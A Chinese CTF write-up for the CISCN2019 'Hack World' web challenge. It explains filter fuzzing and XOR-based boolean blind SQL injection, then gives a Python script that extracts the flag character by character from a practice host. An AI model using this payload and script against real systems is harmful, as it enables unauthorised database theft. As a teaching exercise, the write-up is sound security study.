[CISCN2019 华北赛区 Day2 Web1]Hack World -wp

在这里插入图片描述可以在页面上看到提示,flag在flag表flag列里
在查询0,1,2时会获得不同的回显,
0回显:Error Occured When Fetch Result.
1:Hello, glzjin wants a girlfriend
2:Do you want to be my girlfriend?
初步判断0字段应该不存在,1,2存在
在这里插入图片描述尝试输入or时发现被ban,我们可以fuzz一下
在这里插入图片描述长为482的都是不允许的
可以发现select,from,where这些常用注入字符都可以使用
题目过滤了双引号,导致很难闭合去构造语句。
这道题需要使用基于异或的boolean盲注
在这里插入图片描述
发现0^1可以正常回显,而0^0回显不同

id=0^(ascii(substr((select(flag)from(flag)),1,1))>0)

在这里插入图片描述接下来就可以使用脚本去跑了,这个网站有着流量的限制,大概跑一百次左右就会无法访问,最快的方法就是二分法查找(由于本人编程功底较差,使用的二分法有几个字符跑不出来,只能多花一点时间用sleep)。
以下脚本是使用sleep函数的脚本,跑出flag大概需要三分钟左右

import requests
import time

url = "http://29605588-3929-45e2-857c-e0742fa691ae.node3.buuoj.cn/index.php"
payload = {
	"id" : ""
}
flag = ""
for i in range(1,50):
	for m in range(29,129):
		payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))={1})".format(i,m)
		html = requests.post(url,data=payload)

		if "Hello, glzjin wants a girlfriend" in html.text:
			break;
	if m>128:
		continue
	flag=flag+chr(m)
	print(flag)
	time.sleep(5)
	```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值